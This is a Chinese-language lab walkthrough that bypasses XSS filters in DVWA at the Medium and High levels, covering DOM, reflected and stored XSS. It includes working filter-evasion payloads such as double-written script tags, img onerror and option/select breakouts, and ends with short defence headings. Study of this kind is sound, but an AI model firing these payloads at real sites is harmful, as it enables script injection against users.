# XSS 绕过进阶

讲述 XSS 绕过。

# DVWA-Medium

本章节使用 DVWA-Medium 安全难度

# XSS DOM

首先, GET 请求, default 可控,我们不妨尝试:

<script>alert()</script>

image-20221019005840851

没有弹框, URL 被自动换回 default=English

尝试 img 标签

http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=<img>

image-20221019010005305

img 标签没有被替换回去,能用

http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=<img src=1 onerror=alert()>

但没有弹框

image-20221019010103425

我们只好查看源码:

image-20221019010223667

发现这里已经变成了 option value 的值,也就是字符串,所以我们需要令其逃逸出来。

逃逸需要考虑两点:

  • 需要在执行完增加 German 选项后执行【原因是如果在中间插入 img 标签会导致无用】
  • img 标签需要放在 optionselect 标签外面,否则会不起作用

我们需要使用 Chrome 进行单步调试到这一步

image-20221019012834888

然后在控制台 Console 中输入

var lang = "</option></select><img src=1 onerror=alert()>";

document.write(lang);

image-20221019012721926

点击运行

image-20221019012913112

成功弹框

image-20221019012927916

# XSS Reflected

输入 111,回显

image-20221019013402813

尝试 XSS

http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<script>alert()</script>

image-20221019013617281

发现前面的 <script> 整个被吃掉

尝试双写

http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<scscriptript>alert()</script>

image-20221019013710716

没有被吃掉,我们猜想是不是连同尖括号一起吃呢?

http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<sc<script>ript>alert()</script>

image-20221019013816392

当然,这个题还可以使用 img 标签

http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=1<img src=1 onerror=alert()>

image-20221019013931387

# XSS Stored

我们尝试输入

image-20221019014211349

查看源码

image-20221019014121390

发现, Nameimg 标签没有过滤,那么我们就可以构造

<img src=1 onerror=alert()>

image-20221019014431922

image-20221019014458321

成功弹框

image-20221019015353575

# DVWA-High

开启 High 难度

image-20221019221540107

# XSS DOM

依旧是调试源码。

等到运行到 German 时,敲入:

var lang = "</option></select><img src=1 onerror=alert()>";
document.write(lang);

就可以令 img 标签语句插入到这里

image-20221019222240264

放行运行,成功弹窗

image-20221019222216830

# XSS Reflected

script 标签用不了,尝试使用 img 标签

http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<img src=1 onerror=alert()>

image-20221019222606613

# XSS Stored

修改 Name 的最大输入长度为 100

image-20221019222817488

输入:

image-20221019222722193

即可弹窗

image-20221019222901876

# XSS 防御

# 客户端打补丁、升级、NoScript 等扩展功能

image-20221019223723238

# HttpOnly

image-20221019223527721

image-20221019223543384

# 输入 / 输出检查

image-20221019223618348

image-20221019223632692

image-20221019223649325